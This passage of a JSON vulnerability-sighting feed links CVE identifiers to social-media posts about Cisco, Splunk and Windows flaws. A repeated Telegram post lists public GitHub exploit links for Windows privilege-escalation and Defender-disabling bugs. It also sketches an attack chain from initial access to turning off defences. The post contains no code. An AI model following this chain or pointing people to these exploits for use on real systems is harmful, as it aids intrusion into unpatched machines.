"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/tugate.ch/post/3mpo3rddhel2w", "content": "Cisco confirma explora\u00e7\u00e3o ativa de vulnerabilidade nos sistemas Unified CM, com agentes maliciosos a explorar o problema identificado como CVE-2026-20230, que permite ataques de falsifica\u00e7\u00e3o de pedidos do lado do servidor (SSRF). A confirma\u00e7\u00e3o surge semanas ap\u00f3s a empresa ter disponibilizado as corr", "creation_timestamp": "2026-07-02T13:03:19.705703Z"}, {"uuid": "618ba088-4951-46bd-a253-c6b1e4ba2233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mpo64johnq27", "content": "Cisco confirms active exploitation of CVE-2026-20230 in Unified CM, where unauthenticated SSRF via crafted HTTP requests can create files using file:// payloads. Fix release or disable WebDialer. #Cisco #UnifiedCM #WebDialer", "creation_timestamp": "2026-07-02T13:45:23.235644Z"}, {"uuid": "cfcfbfaa-bcc1-45bf-9174-a93236ac82c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20191", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.246826Z"}, {"uuid": "184ef8a0-0275-46d6-90c9-89c9a87f00d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.294448Z"}, {"uuid": "e14811df-17c1-4312-a809-204fcc50ea94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20214", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.338027Z"}, {"uuid": "e9ddc03f-cfeb-426c-88f5-01790a3b6dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20215", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.380170Z"}, {"uuid": "c947c3af-5351-421c-83c1-b206d6625884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20216", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.421564Z"}, {"uuid": "742700f0-e825-4ab7-a780-7f3a673375a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.464491Z"}, {"uuid": "11b4e4b7-3306-4405-a61f-144cdc0ae32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20244", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.545297Z"}, {"uuid": "54a62dc0-c18d-43ea-99da-a2603d4164f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthrb2k3rv2c", "content": "CVE-2026-20317 - cisco secure workload\nThe Cisco Secure Workload software has a weakness in its authentication system. This means that an attacker could potentially gain unauthorized access to the system. Cisco has\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:20:04.069308Z"}, {"uuid": "03151ab3-bef0-4ffd-a60b-a896fe547446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20243", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6fqhjmd2f", "content": "\ud83d\udd17 CVE : CVE-2026-20191, CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244", "creation_timestamp": "2026-07-02T13:50:32.506519Z"}, {"uuid": "744afbf4-505b-4771-8660-ef198ecd98d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:07.968359Z"}, {"uuid": "31a41c90-3d58-43b1-8b6f-5529947318cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20214", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:08.029913Z"}, {"uuid": "f680b302-bd4c-4036-985b-7fb50118ae5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20215", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:08.083945Z"}, {"uuid": "b9f8ef19-4d8e-4941-8f3f-4dc9f5e512c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20216", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:08.206968Z"}, {"uuid": "352717b2-289f-46a0-b897-389fa311f4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:08.260504Z"}, {"uuid": "4b35a2be-008c-4469-83d3-7fe4b62dfa94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20243", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:08.296102Z"}, {"uuid": "351d8e0e-0eae-442a-a56f-a8a309db0ce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20244", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6nxwhpz2q", "content": "\ud83d\udd17 CVE : CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244, CVE-2026-41676", "creation_timestamp": "2026-07-02T13:55:08.332493Z"}, {"uuid": "365e2062-757d-4620-9c10-be63b87e01c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthrb3s4hh2j", "content": "CVE-2026-20315 - cisco secure workload\nA security update for Cisco Secure Workload has been released to fix weaknesses that could allow unauthorized access to sensitive data. This update is a proactive measure to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:20:05.064836Z"}, {"uuid": "ecbe24d0-5c18-4b60-9b1d-af2466d80156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31153", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:03.157959Z"}, {"uuid": "6d4c5b75-af90-4f27-9d0b-e549aa470cc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31153", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:03.208287Z"}, {"uuid": "a80575f9-d28d-4e8d-92e7-dd2f7b372123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20462", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoqmntsl42d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20462: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438\n\n\n\nhttps://kripta.biz/posts/D48C970A-FB21-4D4D-B206-DCC33470206F", "creation_timestamp": "2026-07-02T19:16:31.505853Z"}, {"uuid": "f5f5742d-c587-4ea4-a63e-53c627013857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20463", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mporsjok432u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20463 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/9548CE3A-275E-4AAF-8E63-8F078525DF18", "creation_timestamp": "2026-07-02T19:37:41.706798Z"}, {"uuid": "a8714e54-86da-471f-970d-06cc7d56986c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20458", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpory6twxo2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20458 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/EE6C584A-7135-4EAC-B77D-2AED0E3D08D6", "creation_timestamp": "2026-07-02T19:40:51.933335Z"}, {"uuid": "8b53423a-3a09-4861-8608-7e2f3f22b04e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mpp7hv2wh22a", "content": "Critical Splunk Enterprise Flaw Now Exploited in the Wild | CVE-2026-20253\n\nWatch The Clip: youtube.com/shorts/j-Lgi...", "creation_timestamp": "2026-07-02T23:42:19.803117Z"}, {"uuid": "c8e5cc47-1299-4ac8-a142-c60e4cdb8087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mpp7mnjxe22a", "content": "Critical Splunk Enterprise Flaw Now Exploited in the Wild | CVE-2026-20253", "creation_timestamp": "2026-07-02T23:45:00.027008Z"}, {"uuid": "c55188a3-f49a-4f9f-8071-e2e5ea203b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/wordfencenews.bsky.social/post/3mpp7uhszfc2a", "content": "Critical Splunk Enterprise Flaw Now Exploited in the Wild | CVE-2026-20253", "creation_timestamp": "2026-07-02T23:49:21.376495Z"}, {"uuid": "bb952f62-39bc-4ee3-8c92-ed87cf633c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31152", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", 